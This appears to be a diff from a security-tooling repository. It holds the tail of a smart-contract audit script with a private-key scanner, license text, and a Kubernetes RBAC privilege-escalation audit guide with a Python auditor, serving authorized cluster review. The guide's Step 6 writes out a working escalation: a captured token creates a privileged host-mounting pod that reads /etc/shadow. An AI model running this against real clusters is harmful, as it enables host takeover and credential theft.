"""Heuristic scan for plaintext private keys / mnemonics in source-controlled files."""
hits = []
for root, dirs, files in os.walk(project):
dirs[:] = [d for d in dirs if d not in SKIP_DIRS]
for f in files:
# Match source/config files plus all dotenv variants (.env, .env.local, .env.prod...)
if not (f.endswith((".sol", ".env", ".json", ".js", ".ts", ".toml", ".txt", ".md", ".sh", ".yaml", ".yml"))
or f.startswith(".env")):
continue
path = os.path.join(root, f)
try:
with open(path, encoding="utf-8", errors="ignore") as fh:
content = fh.read()
except OSError:
continue
for m in PRIVKEY_RE.finditer(content):
# Exclude the well-known Anvil/Hardhat test mnemonic-derived keys & all-zero.
val = m.group(0).lower().removeprefix("0x")
if val == "0" * 64 or "test test test" in content[max(0, m.start() - 80):m.start()]:
continue
hits.append({"file": os.path.relpath(path, project), "type": "possible_private_key"})
break
return {"leaked_secret_candidates": len(hits), "hits": hits[:20],
"note": "high-precision private-key scan only; run gitleaks for full secret coverage"}
# --------------------------------------------------------------------------- #
# Aggregation + gate
# --------------------------------------------------------------------------- #
def deduplicate(*finding_lists):
seen, combined = set(), []
for lst in finding_lists:
for f in lst:
key = (f.get("location", ""), f.get("detector", f.get("swc_id", "")))
if key not in seen:
seen.add(key)
combined.append(f)
return combined
def build_report(project, slither, aderyn, mythril, tests, coverage, keys, min_coverage):
combined = deduplicate(slither["findings"], aderyn["findings"], mythril["findings"])
crit_high = sum(1 for f in combined if f.get("severity") in ("critical", "high"))
gate_fail = []
if crit_high > 0:
gate_fail.append(f"{crit_high} high/critical static finding(s)")
if tests.get("available") and not tests.get("all_passed"):
gate_fail.append(f"{tests.get('failed', '?')} failing test(s)")
if keys["leaked_secret_candidates"] > 0:
gate_fail.append(f"{keys['leaked_secret_candidates']} possible leaked secret(s)")
cov = coverage.get("lines_pct")
if cov is not None and cov < min_coverage:
gate_fail.append(f"line coverage {cov}% < {min_coverage}% threshold")
return {
"timestamp": datetime.now(timezone.utc).isoformat(),
"project": os.path.abspath(project),
"static_analysis": {
"slither": {"total": slither["total"], "by_severity": slither["by_severity"],
"top_detectors": slither["top_detectors"]},
"aderyn": {"total": aderyn["total"], "by_severity": aderyn["by_severity"]},
},
"symbolic_execution": {"mythril": {"total": mythril["total"], "by_swc": mythril.get("by_swc", {})}},
"testing": {"forge_test": tests, "coverage": coverage},
"key_hygiene": keys,
"combined_findings": len(combined),
"critical_high_findings": crit_high,
"deploy_gate": "PASS" if not gate_fail else "FAIL",
"gate_failures": gate_fail,
"findings": combined[:40],
}
def main():
ap = argparse.ArgumentParser(description="Foundry Smart Contract Security Audit Agent")
ap.add_argument("--project", default=".", help="Path to the Foundry project root")
ap.add_argument("--mythril", metavar="FILE", help="Run Mythril symbolic execution on this .sol file")
ap.add_argument("--mythril-timeout", type=int, default=300)
ap.add_argument("--min-coverage", type=float, default=80.0, help="Min line coverage %% for PASS")
ap.add_argument("--output", default="audit-report.json")
args = ap.parse_args()
logger.info("Auditing Foundry project: %s", os.path.abspath(args.project))
slither = analyze_slither(run_slither(args.project))
aderyn = analyze_aderyn(run_aderyn(args.project))
mythril = analyze_mythril(run_mythril(args.mythril, args.mythril_timeout) if args.mythril else {})
tests = run_forge_tests(args.project)
coverage = run_forge_coverage(args.project)
keys = scan_key_leaks(args.project)
report = build_report(args.project, slither, aderyn, mythril, tests, coverage, keys, args.min_coverage)
with open(args.output, "w") as fh:
json.dump(report, fh, indent=2, default=str)
logger.info("Audit: %d findings (%d high/critical) | gate=%s",
report["combined_findings"], report["critical_high_findings"], report["deploy_gate"])
if report["gate_failures"]:
logger.warning("Gate failures: %s", "; ".join(report["gate_failures"]))
print(json.dumps(report, indent=2, default=str))
if __name__ == "__main__":
main()
@@ -29,6 +29,29 @@ mitre_attack:
- T1611
- T1613
- T1078.004
mitre_f3:
version: '1.1'
tactics:
- initial-access
- positioning
- defense-impairment
techniques:
- id: F1033
name: Insider Access Abuse
tactic: initial-access
source: f3
- id: F1005
name: Account Manipulation
tactic: positioning
source: f3
- id: F1005.002
name: 'Account Manipulation: Add Authorized User'
tactic: positioning
source: f3
- id: T1531
name: Account Access Removal
tactic: positioning
source: attack
---
# Auditing Kubernetes Cluster RBAC
@@ -0,0 +1,201 @@
Apache License
Version 2.0, January 2004
http://www.apache.org/licenses/
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
1. Definitions.
"License" shall mean the terms and conditions for use, reproduction,
and distribution as defined by Sections 1 through 9 of this document.
"Licensor" shall mean the copyright owner or entity authorized by
the copyright owner that is granting the License.
"Legal Entity" shall mean the union of the acting entity and all
other entities that control, are controlled by, or are under common
control with that entity. For the purposes of this definition,
"control" means (i) the power, direct or indirect, to cause the
direction or management of such entity, whether by contract or
otherwise, or (ii) ownership of fifty percent (50%) or more of the
outstanding shares, or (iii) beneficial ownership of such entity.
"You" (or "Your") shall mean an individual or Legal Entity
exercising permissions granted by this License.
"Source" form shall mean the preferred form for making modifications,
including but not limited to software source code, documentation
source, and configuration files.
"Object" form shall mean any form resulting from mechanical
transformation or translation of a Source form, including but
not limited to compiled object code, generated documentation,
and conversions to other media types.
"Work" shall mean the work of authorship, whether in Source or
Object form, made available under the License, as indicated by a
copyright notice that is included in or attached to the work
(an example is provided in the Appendix below).
"Derivative Works" shall mean any work, whether in Source or Object
form, that is based on (or derived from) the Work and for which the
editorial revisions, annotations, elaborations, or other modifications
represent, as a whole, an original work of authorship. For the purposes
of this License, Derivative Works shall not include works that remain
separable from, or merely link (or bind by name) to the interfaces of,
the Work and Derivative Works thereof.
"Contribution" shall mean any work of authorship, including
the original version of the Work and any modifications or additions
to that Work or Derivative Works thereof, that is intentionally
submitted to the Licensor for inclusion in the Work by the copyright owner
or by an individual or Legal Entity authorized to submit on behalf of
the copyright owner. For the purposes of this definition, "submitted"
means any form of electronic, verbal, or written communication sent
to the Licensor or its representatives, including but not limited to
communication on electronic mailing lists, source code control systems,
and issue tracking systems that are managed by, or on behalf of, the
Licensor for the purpose of discussing and improving the Work, but
excluding communication that is conspicuously marked or otherwise
designated in writing by the copyright owner as "Not a Contribution."
"Contributor" shall mean Licensor and any individual or Legal Entity
on behalf of whom a Contribution has been received by the Licensor and
subsequently incorporated within the Work.
2. Grant of Copyright License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
copyright license to reproduce, prepare Derivative Works of,
publicly display, publicly perform, sublicense, and distribute the
Work and such Derivative Works in Source or Object form.
3. Grant of Patent License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
(except as stated in this section) patent license to make, have made,
use, offer to sell, sell, import, and otherwise transfer the Work,
where such license applies only to those patent claims licensable
by such Contributor that are necessarily infringed by their
Contribution(s) alone or by combination of their Contribution(s)
with the Work to which such Contribution(s) was submitted. If You
institute patent litigation against any entity (including a
cross-claim or counterclaim in a lawsuit) alleging that the Work
or a Contribution incorporated within the Work constitutes direct
or contributory patent infringement, then any patent licenses
granted to You under this License for that Work shall terminate
as of the date such litigation is filed.
4. Redistribution. You may reproduce and distribute copies of the
Work or Derivative Works thereof in any medium, with or without
modifications, and in Source or Object form, provided that You
meet the following conditions:
(a) You must give any other recipients of the Work or
Derivative Works a copy of this License; and
(b) You must cause any modified files to carry prominent notices
stating that You changed the files; and
(c) You must retain, in the Source form of any Derivative Works
that You distribute, all copyright, patent, trademark, and
attribution notices from the Source form of the Work,
excluding those notices that do not pertain to any part of
the Derivative Works; and
(d) If the Work includes a "NOTICE" text file as part of its
distribution, then any Derivative Works that You distribute must
include a readable copy of the attribution notices contained
within such NOTICE file, excluding any notices that do not
pertain to any part of the Derivative Works, in at least one
of the following places: within a NOTICE text file distributed
as part of the Derivative Works; within the Source form or
documentation, if provided along with the Derivative Works; or,
within a display generated by the Derivative Works, if and
wherever such third-party notices normally appear. The contents
of the NOTICE file are for informational purposes only and
do not modify the License. You may add Your own attribution
notices within Derivative Works that You distribute, alongside
or as an addendum to the NOTICE text from the Work, provided
that such additional attribution notices cannot be construed
as modifying the License.
You may add Your own copyright statement to Your modifications and
may provide additional or different license terms and conditions
for use, reproduction, or distribution of Your modifications, or
for any such Derivative Works as a whole, provided Your use,
reproduction, and distribution of the Work otherwise complies with
the conditions stated in this License.
5. Submission of Contributions. Unless You explicitly state otherwise,
any Contribution intentionally submitted for inclusion in the Work
by You to the Licensor shall be under the terms and conditions of
this License, without any additional terms or conditions.
Notwithstanding the above, nothing herein shall supersede or modify
the terms of any separate license agreement you may have executed
with Licensor regarding such Contributions.
6. Trademarks. This License does not grant permission to use the trade
names, trademarks, service marks, or product names of the Licensor,
except as required for reasonable and customary use in describing the
origin of the Work and reproducing the content of the NOTICE file.
7. Disclaimer of Warranty. Unless required by applicable law or
agreed to in writing, Licensor provides the Work (and each
Contributor provides its Contributions) on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
implied, including, without limitation, any warranties or conditions
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
PARTICULAR PURPOSE. You are solely responsible for determining the
appropriateness of using or redistributing the Work and assume any
risks associated with Your exercise of permissions under this License.
8. Limitation of Liability. In no event and under no legal theory,
whether in tort (including negligence), contract, or otherwise,
unless required by applicable law (such as deliberate and grossly
negligent acts) or agreed to in writing, shall any Contributor be
liable to You for damages, including any direct, indirect, special,
incidental, or consequential damages of any character arising as a
result of this License or out of the use or inability to use the
Work (including but not limited to damages for loss of goodwill,
work stoppage, computer failure or malfunction, or any and all
other commercial damages or losses), even if such Contributor
has been advised of the possibility of such damages.
9. Accepting Warranty or Additional Liability. While redistributing
the Work or Derivative Works thereof, You may choose to offer,
and charge a fee for, acceptance of support, warranty, indemnity,
or other liability obligations and/or rights consistent with this
License. However, in accepting such obligations, You may act only
on Your own behalf and on Your sole responsibility, not on behalf
of any other Contributor, and only if You agree to indemnify,
defend, and hold each Contributor harmless for any liability
incurred by, or claims asserted against, such Contributor by reason
of your accepting any such warranty or additional liability.
END OF TERMS AND CONDITIONS
APPENDIX: How to apply the Apache License to your work.
To apply the Apache License to your work, attach the following
boilerplate notice, with the fields enclosed by brackets "[]"
replaced with your own identifying information. (Don't include
the brackets!) The text should be enclosed in the appropriate
comment syntax for the file format. Please do not remove or change
the license header comment from a contributed file except when
necessary.
Copyright 2026 mukul975
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
@@ -0,0 +1,261 @@
---
name: auditing-kubernetes-rbac-privilege-escalation
description: Find over-permissive RBAC roles and service-account token abuse paths in Kubernetes using kubectl auth can-i, rbac-police, kubectl-who-can, and rakkess during authorized cluster security reviews.
domain: cybersecurity
subdomain: container-security
tags:
- kubernetes
- rbac
- privilege-escalation
- service-account
- least-privilege
- kubectl
- access-control
- attack-paths
version: '1.0'
author: mahipal
license: Apache-2.0
nist_csf:
- PR.AA-05
mitre_attack:
- T1078
---
# Auditing Kubernetes RBAC Privilege Escalation
> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Enumerating and exercising RBAC permissions affects a live cluster's access posture. Only test clusters you own or are explicitly authorized in writing to assess.
## Overview
Kubernetes Role-Based Access Control (RBAC, MITRE ATT&CK T1078 Valid Accounts) governs what every user and service account may do via `Role`/`ClusterRole` rules bound by `RoleBinding`/`ClusterRoleBinding`. Because workloads run with a mounted service-account token by default, an attacker who compromises one pod inherits that account's RBAC rights. Over-permissive bindings turn a single compromised pod into a cluster takeover: certain verbs and resources are "RBAC-equivalent to cluster-admin."
Per the Kubernetes "RBAC Good Practices" guidance and Unit 42 research, the dangerous primitives are:
- **`escalate` on roles** — grant yourself any permission, even ones you do not hold.
- **`bind` on clusterroles** — create a binding to `cluster-admin`.
- **`impersonate`** on users/groups/serviceaccounts — act as any subject including `system:masters`.
- **`create`/`update`/`patch` on `pods`** — schedule a privileged pod or mount the node, escaping to the host (T1611).
- **`create` on `pods/exec`, `pods/attach`, `pods/ephemeralcontainers`** — run code in any existing pod.
- **`get`/`list`/`watch` on `secrets`** — list returns full secret contents, including other service-account tokens.
- **`create` on `serviceaccounts/token`** — mint tokens for more privileged accounts.
- **`update`/`patch` on `validatingwebhookconfigurations`/`mutatingwebhookconfigurations`, `nodes/proxy`, `certificatesigningrequests/approval`** — admission/CSR abuse to cluster-admin.
- **Wildcards** (`verbs: ["*"]`, `resources: ["*"]`) — implicit super-privilege.
This skill systematically enumerates effective permissions for every subject, maps which subjects hold these escalation primitives, and produces remediation evidence. Source: Kubernetes RBAC Good Practices; Unit 42 Kubernetes RBAC research.
## When to Use
- During an authorized Kubernetes security assessment or cluster penetration test
- After compromising a pod, to determine what its service-account token can reach
- When reviewing RBAC drift before a production go-live
- When validating least-privilege after a platform migration or Helm rollout
## Prerequisites
- `kubectl` configured against the target cluster (your own credentials, or a captured service-account token)
- Read access to RBAC objects (most audits run with a cluster-reader or admin context)
- Audit tooling:
```bash
# rbac-police - find escalation paths (Cymulate)
curl -L https://github.com/PaloAltoNetworks/rbac-police/releases/latest/download/rbac-police-linux-amd64 -o rbac-police
chmod +x rbac-police
# kubectl-who-can - which subjects can perform an action (Aqua)
kubectl krew install who-can
# rakkess - access matrix of resources x verbs for the current/another subject
kubectl krew install access-matrix
# rbac-lookup - which roles a subject has (FairwindsOps)
kubectl krew install rbac-lookup
```
## Objectives
- Inventory all `Role`, `ClusterRole`, `RoleBinding`, and `ClusterRoleBinding` objects
- Enumerate effective permissions per subject using `kubectl auth can-i --as`
- Identify subjects holding RBAC-equivalent-to-admin primitives
- Trace token-mounting pods to over-privileged service accounts
- Demonstrate (in a lab) one escalation path end-to-end
- Output a prioritized findings report with least-privilege remediation
## MITRE ATT&CK Mapping
| Technique ID | Name | Tactic |
|--------------|------|--------|
| T1078 | Valid Accounts | Defense Evasion / Persistence / Privilege Escalation |
| T1098 | Account Manipulation | Persistence |
| T1528 | Steal Application Access Token | Credential Access |
| T1613 | Container and Resource Discovery | Discovery |
| T1611 | Escape to Host | Privilege Escalation |
## Workflow
### Step 1: Inventory RBAC Objects
```bash
# All roles and bindings, cluster-wide
kubectl get clusterroles,clusterrolebindings -o wide
kubectl get roles,rolebindings --all-namespaces -o wide
# Dump full RBAC for offline analysis
kubectl get clusterroles,clusterrolebindings,roles,rolebindings \
--all-namespaces -o yaml > rbac-dump.yaml
# Who is bound to cluster-admin?
kubectl get clusterrolebindings -o json | \
jq -r '.items[] | select(.roleRef.name=="cluster-admin") |
.metadata.name + " -> " + (.subjects // [] | map(.kind+"/"+.name) | join(","))'
```
### Step 2: Enumerate Effective Permissions per Subject
`kubectl auth can-i` is the authoritative check because it evaluates the live authorizer (RBAC + webhooks). Use `--as` to impersonate a subject (requires impersonate rights for the audit identity).
```bash
# Full access matrix for a service account
kubectl auth can-i --list \
--as=system:serviceaccount:default:default
# Targeted dangerous-permission probes
kubectl auth can-i create pods --all-namespaces \
--as=system:serviceaccount:dev:builder
kubectl auth can-i get secrets --all-namespaces \
--as=system:serviceaccount:dev:builder
kubectl auth can-i create serviceaccounts/token -n kube-system \
--as=system:serviceaccount:dev:builder
kubectl auth can-i '*' '*' --all-namespaces \
--as=system:serviceaccount:dev:builder
# rakkess full verb x resource matrix for a subject
kubectl access-matrix --as system:serviceaccount:dev:builder
```
### Step 3: Hunt the Escalation Primitives
```bash
# Who can perform each dangerous action across the cluster?
kubectl who-can create pods
kubectl who-can '*' '*' # wildcard god-mode holders
kubectl who-can get secrets
kubectl who-can list secrets
kubectl who-can create pods/exec
kubectl who-can impersonate users
kubectl who-can create serviceaccounts/token
kubectl who-can update clusterrolebindings # bind-style escalation
# grep the raw dump for escalate/bind/impersonate verbs and wildcards
grep -nE 'escalate|impersonate|"\*"|- bind' rbac-dump.yaml
```
### Step 4: Run Automated Escalation-Path Analysis with rbac-police
rbac-police evaluates Rego policies over a cluster snapshot to surface principals that can escalate to cluster-admin and the exact path.
```bash
# Run all built-in escalation checks (needs a kubeconfig with read access)
./rbac-police eval ./lib/policies/
# Only the privilege-escalation policy, severe findings as JSON
./rbac-police eval ./lib/policies/can_escalate.rego -f json -o findings.json
# Collect a snapshot first (offline analysis / air-gapped review)
./rbac-police collect -o cluster-snapshot.json
./rbac-police eval ./lib/policies/ --collect-results cluster-snapshot.json
```
### Step 5: Trace Pods to Over-Privileged Service Accounts
A finding only matters if a reachable workload mounts that token.
```bash
# Map every pod to its service account
kubectl get pods --all-namespaces \
-o custom-columns='NS:.metadata.namespace,POD:.metadata.name,SA:.spec.serviceAccountName'
# Find pods that auto-mount tokens (the default) tied to risky SAs
kubectl get pods --all-namespaces -o json | jq -r '
.items[] | select(.spec.automountServiceAccountToken != false) |
"\(.metadata.namespace)/\(.metadata.name) -> \(.spec.serviceAccountName // "default")"'
# rbac-lookup: what does that service account actually hold?
kubectl rbac-lookup builder --kind serviceaccount
```
### Step 6: Demonstrate an Escalation Path (Lab Only)
Example: a service account with `create pods` and access to a node can schedule a privileged pod that mounts the host filesystem.
```bash
# Using a captured token, target the API server directly
export TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
export APISERVER=https://kubernetes.default.svc
# Confirm the dangerous right
kubectl --token="$TOKEN" --server="$APISERVER" --insecure-skip-tls-verify \
auth can-i create pods
# Schedule a privileged host-mounting pod (proves node/host takeover)
cat <<'EOF' | kubectl --token="$TOKEN" --server="$APISERVER" \
--insecure-skip-tls-verify apply -f -
apiVersion: v1
kind: Pod
metadata: {name: escalate-poc, namespace: default}
spec:
containers:
- name: x
image: alpine
command: ["/bin/sh","-c","cat /host/etc/shadow; sleep 1d"]
securityContext: {privileged: true}
volumeMounts: [{name: host, mountPath: /host}]
volumes: [{name: host, hostPath: {path: /}}]
EOF
kubectl logs escalate-poc # host /etc/shadow proves escalation
```
### Step 7: Report and Remediate
```bash
# Generate a least-privilege-violation summary
kubectl get clusterrolebindings -o json | jq -r '
.items[] | select(.roleRef.name=="cluster-admin") |
"FINDING cluster-admin bound to: " +
((.subjects // []) | map(.kind+":"+.name) | join(", "))'
```
Remediation: replace wildcards with explicit verbs/resources; remove `escalate`/`bind`/`impersonate` unless required; set `automountServiceAccountToken: false` on workloads that do not call the API; scope `Role` (namespaced) over `ClusterRole` where possible; use `aggregationRule` carefully.
## Tools and Resources
| Tool | Purpose | Source |
|------|---------|--------|
| kubectl auth can-i | Authoritative live permission check (`--list`, `--as`) | https://kubernetes.io/docs/reference/access-authn-authz/authorization/ |
| rbac-police | Rego-based escalation-path analysis | https://github.com/PaloAltoNetworks/rbac-police |
| kubectl-who-can | Reverse lookup: who can do X | https://github.com/aquasecurity/kubectl-who-can |
| rakkess (access-matrix) | Verb x resource matrix per subject | https://github.com/corneliusweig/rakkess |
| rbac-lookup | Roles a subject holds | https://github.com/FairwindsOps/rbac-lookup |
| Kubernetes RBAC Good Practices | Authoritative escalation primitive list | https://kubernetes.io/docs/concepts/security/rbac-good-practices/ |
## Dangerous RBAC Primitives Reference
| Verb / Resource | Why It Is Cluster-Admin-Equivalent |
|-----------------|------------------------------------|
| `escalate` on roles | Grant self any permission |
| `bind` on clusterroles | Bind self to cluster-admin |
| `impersonate` users/groups | Act as system:masters |
| `create pods` (+ node access) | Privileged/hostPath pod -> host takeover |
| `create pods/exec`,`pods/attach` | Run code in existing pods |
| `get`/`list` secrets | Read all tokens & credentials |
| `create serviceaccounts/token` | Mint privileged tokens |
| `*`/`*` (wildcards) | Implicit super-privilege |
## Validation Criteria
- [ ] All Role/ClusterRole/Binding objects inventoried and dumped
- [ ] cluster-admin subject list enumerated
- [ ] Effective permissions enumerated per service account via `auth can-i --list`
- [ ] All dangerous-primitive holders identified (escalate/bind/impersonate/secrets/pods)
- [ ] rbac-police escalation paths reviewed
- [ ] Token-mounting pods mapped to risky service accounts
- [ ] At least one escalation path demonstrated in a lab
- [ ] Findings report with least-privilege remediation produced
- [ ] All testing stayed within authorized scope
@@ -0,0 +1,64 @@
# Kubernetes RBAC Audit — Command Reference
## kubectl auth can-i
| Command | Purpose |
|---------|---------|
| `kubectl auth can-i --list` | List all permissions for the current identity |
| `kubectl auth can-i --list --as=system:serviceaccount:NS:SA` | List permissions for a service account (impersonation) |
| `kubectl auth can-i <verb> <resource>` | Check a single permission |
| `kubectl auth can-i <verb> <resource> --all-namespaces` | Check across namespaces |
| `kubectl auth can-i '*' '*'` | Check for wildcard god-mode |
| `--as-group=<group>` | Impersonate a group (e.g. system:masters) |
## kubectl-who-can (krew: who-can)
| Command | Purpose |
|---------|---------|
| `kubectl who-can create pods` | List subjects that can create pods |
| `kubectl who-can get secrets -n NS` | Subjects that can read secrets in a namespace |
| `kubectl who-can '*' '*'` | Subjects with full wildcard access |
| `kubectl who-can create serviceaccounts/token` | Token-minting subjects |
## rakkess / access-matrix (krew: access-matrix)
| Command | Purpose |
|---------|---------|
| `kubectl access-matrix` | Verb x resource matrix for current subject |
| `kubectl access-matrix --as system:serviceaccount:NS:SA` | Matrix for another subject |
| `kubectl access-matrix resource pods` | Who can do what on pods (`resource` subcommand) |
## rbac-lookup (krew: rbac-lookup)
| Command | Purpose |
|---------|---------|
| `kubectl rbac-lookup <name>` | Show roles bound to a subject |
| `kubectl rbac-lookup <sa> --kind serviceaccount` | Filter to service accounts |
| `kubectl rbac-lookup --output wide` | Include the source binding |
## rbac-police
| Command | Purpose |
|---------|---------|
| `rbac-police eval ./lib/policies/` | Run all escalation policies against the live cluster |
| `rbac-police eval <policy.rego> -f json -o out.json` | Run one policy, JSON output |
| `rbac-police collect -o snapshot.json` | Snapshot RBAC for offline analysis |
| `rbac-police eval ./lib/policies/ --collect-results snapshot.json` | Evaluate from a snapshot |
| `--severity-threshold High` | Filter to high-severity findings |
## Dangerous Verbs / Resources
| Verb | Sensitive Resources |
|------|---------------------|
| `escalate` | roles, clusterroles |
| `bind` | clusterroles |
| `impersonate` | users, groups, serviceaccounts |
| `create`/`update`/`patch` | pods, deployments, daemonsets, mutatingwebhookconfigurations |
| `create` | pods/exec, pods/attach, pods/ephemeralcontainers, serviceaccounts/token |
| `get`/`list`/`watch` | secrets |
| `approve` | certificatesigningrequests/approval |
## External References
- Kubernetes RBAC Good Practices: https://kubernetes.io/docs/concepts/security/rbac-good-practices/
- RBAC reference: https://kubernetes.io/docs/reference/access-authn-authz/rbac/
@@ -0,0 +1,32 @@
# Standards and References - Kubernetes RBAC Privilege Escalation Audit
## MITRE ATT&CK
| Technique ID | Name | Tactic | Rationale |
|--------------|------|--------|-----------|
| T1078 | Valid Accounts | Defense Evasion / Privilege Escalation | RBAC abuse leverages legitimate service-account credentials to gain higher access. |
| T1098 | Account Manipulation | Persistence | `escalate`/`bind`/`impersonate` and token minting create or modify accounts/bindings. |
| T1528 | Steal Application Access Token | Credential Access | Reading `secrets` or `serviceaccounts/token` yields other accounts' tokens. |
| T1613 | Container and Resource Discovery | Discovery | Enumerating roles, bindings, and pod-to-SA mappings. |
| T1611 | Escape to Host | Privilege Escalation | `create pods` plus node access yields a privileged host-mounting pod. |
## NIST CSF 2.0
| ID | Name | Rationale |
|----|------|-----------|
| PR.AA-05 | Access permissions, entitlements, and authorizations are defined, managed, and enforced incorporating least privilege | The audit directly measures and enforces least-privilege RBAC, removing escalation primitives. |
## Official Resources
- Kubernetes RBAC Good Practices: https://kubernetes.io/docs/concepts/security/rbac-good-practices/
- Using RBAC Authorization: https://kubernetes.io/docs/reference/access-authn-authz/rbac/
- Authorization Overview (`auth can-i`): https://kubernetes.io/docs/reference/access-authn-authz/authorization/
- rbac-police: https://github.com/PaloAltoNetworks/rbac-police
- kubectl-who-can: https://github.com/aquasecurity/kubectl-who-can
- rakkess: https://github.com/corneliusweig/rakkess
- rbac-lookup: https://github.com/FairwindsOps/rbac-lookup
## Key Research
- Unit 42: Kubernetes RBAC privilege escalation research
- Kubernetes SIG-Auth: documented privilege-escalation primitives (escalate, bind, impersonate)
@@ -0,0 +1,167 @@
#!/usr/bin/env python3
# For authorized Kubernetes security assessments only. Run against clusters you
# own or are explicitly authorized in writing to test.
"""Kubernetes RBAC privilege-escalation auditor.
Wraps `kubectl auth can-i` to enumerate effective permissions for service
accounts and flag the RBAC primitives that are equivalent to cluster-admin
(create pods, read secrets, escalate/bind/impersonate, token minting, wildcards),
per the Kubernetes "RBAC Good Practices" guidance.
"""
import argparse
import json
import shutil
import subprocess
import sys
from datetime import datetime, timezone
# (verb, resource) probes that indicate escalation potential
DANGEROUS_CHECKS = [
("*", "*"),
("create", "pods"),
("create", "pods/exec"),
("create", "pods/attach"),
("create", "pods/ephemeralcontainers"),
("get", "secrets"),
("list", "secrets"),
("create", "serviceaccounts/token"),
("impersonate", "users"),
("escalate", "roles"),
("bind", "clusterroles"),
("update", "clusterrolebindings"),
("update", "mutatingwebhookconfigurations"),
("create", "nodes/proxy"),
]
def _kubectl(args):
cmd = ["kubectl"] + args
try:
p = subprocess.run(cmd, capture_output=True, text=True, timeout=30)
return p.returncode, p.stdout.strip(), p.stderr.strip()
except FileNotFoundError:
print("[!] kubectl not found on PATH", file=sys.stderr)
sys.exit(2)
except subprocess.TimeoutExpired:
return 124, "", "timeout"
def list_service_accounts(namespace=None):
args = ["get", "serviceaccounts", "-o",
"jsonpath={range .items[*]}{.metadata.namespace}/{.metadata.name}{\"\\n\"}{end}"]
if namespace:
args += ["-n", namespace]
else:
args += ["--all-namespaces"]
rc, out, err = _kubectl(args)
if rc != 0:
print(f"[!] failed to list service accounts: {err}", file=sys.stderr)
return []
return [line for line in out.splitlines() if "/" in line]
def can_i(verb, resource, subject=None, all_ns=True):
"""Return True if the (optionally impersonated) subject can verb/resource."""
args = ["auth", "can-i", verb, resource]
if all_ns:
args.append("--all-namespaces")
if subject:
args.append(f"--as=system:serviceaccount:{subject.split('/')[0]}:{subject.split('/')[1]}")
rc, out, _ = _kubectl(args)
return out.strip() == "yes"
def audit_subject(subject):
findings = []
for verb, resource in DANGEROUS_CHECKS:
if can_i(verb, resource, subject=subject):
findings.append({"verb": verb, "resource": resource})
severity = "none"
flat = {(f["verb"], f["resource"]) for f in findings}
if ("*", "*") in flat or ("escalate", "roles") in flat or \
("bind", "clusterroles") in flat or ("impersonate", "users") in flat:
severity = "critical"
elif ("create", "pods") in flat or ("list", "secrets") in flat or \
("create", "serviceaccounts/token") in flat:
severity = "high"
elif findings:
severity = "medium"
return {"subject": subject, "severity": severity,
"dangerous_permissions": findings}
def cluster_admin_bindings():
rc, out, _ = _kubectl([
"get", "clusterrolebindings", "-o", "json"])
if rc != 0:
return []
try:
data = json.loads(out)
except json.JSONDecodeError:
return []
result = []
for item in data.get("items", []):
if item.get("roleRef", {}).get("name") == "cluster-admin":
subs = [f"{s.get('kind')}:{s.get('name')}"
for s in (item.get("subjects") or [])]
result.append({"binding": item["metadata"]["name"], "subjects": subs})
return result
def main():
ap = argparse.ArgumentParser(
description="Audit Kubernetes RBAC for privilege-escalation paths")
ap.add_argument("-n", "--namespace", help="limit to one namespace")
ap.add_argument("-s", "--subject",
help="audit a single subject NS/SA instead of all")
ap.add_argument("-o", "--output", help="write JSON report to file")
args = ap.parse_args()
if not shutil.which("kubectl"):
print("[!] kubectl is required", file=sys.stderr)
return 2
print("=" * 60)
print(" KUBERNETES RBAC PRIVILEGE-ESCALATION AUDIT")
print(f" {datetime.now(timezone.utc).isoformat()}")
print("=" * 60)
admins = cluster_admin_bindings()
print(f"\n[+] cluster-admin bindings ({len(admins)}):")
for a in admins:
print(f" {a['binding']} -> {', '.join(a['subjects']) or '(none)'}")
subjects = [args.subject] if args.subject else list_service_accounts(args.namespace)
print(f"\n[+] Auditing {len(subjects)} service account(s)...")
results = []
for subj in subjects:
r = audit_subject(subj)
results.append(r)
if r["severity"] != "none":
perms = ", ".join(f"{f['verb']} {f['resource']}"
for f in r["dangerous_permissions"])
print(f" [{r['severity'].upper():8}] {subj}: {perms}")
report = {
"generated_utc": datetime.now(timezone.utc).isoformat(),
"cluster_admin_bindings": admins,
"subject_findings": results,
"summary": {
"critical": sum(1 for r in results if r["severity"] == "critical"),
"high": sum(1 for r in results if r["severity"] == "high"),
"medium": sum(1 for r in results if r["severity"] == "medium"),
},
}
print(f"\n[+] Summary: {report['summary']}")
if args.output:
with open(args.output, "w") as fh:
json.dump(report, fh, indent=2)
print(f"[+] Report written to {args.output}")
return 0
if __name__ == "__main__":
sys.exit(main())
@@ -0,0 +1,201 @@
Apache License
Version 2.0, January 2004
http://www.apache.org/licenses/
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
1. Definitions.
"License" shall mean the terms and conditions for use, reproduction,
and distribution as defined by Sections 1 through 9 of this document.
"Licensor" shall mean the copyright owner or entity authorized by
the copyright owner that is granting the License.
"Legal Entity" shall mean the union of the acting entity and all
other entities that control, are controlled by, or are under common
control with that entity. For the purposes of this definition,
"control" means (i) the power, direct or indirect, to cause the
direction or management of such entity, whether by contract or
otherwise, or (ii) ownership of fifty percent (50%) or more of the
outstanding shares, or (iii) beneficial ownership of such entity.
"You" (or "Your") shall mean an individual or Legal Entity
exercising permissions granted by this License.
"Source" form shall mean the preferred form for making modifications,
including but not limited to software source code, documentation
source, and configuration files.
"Object" form shall mean any form resulting from mechanical
transformation or translation of a Source form, including but
not limited to compiled object code, generated documentation,
and conversions to other media types.
"Work" shall mean the work of authorship, whether in Source or
Object form, made available under the License, as indicated by a
copyright notice that is included in or attached to the work
(an example is provided in the Appendix below).
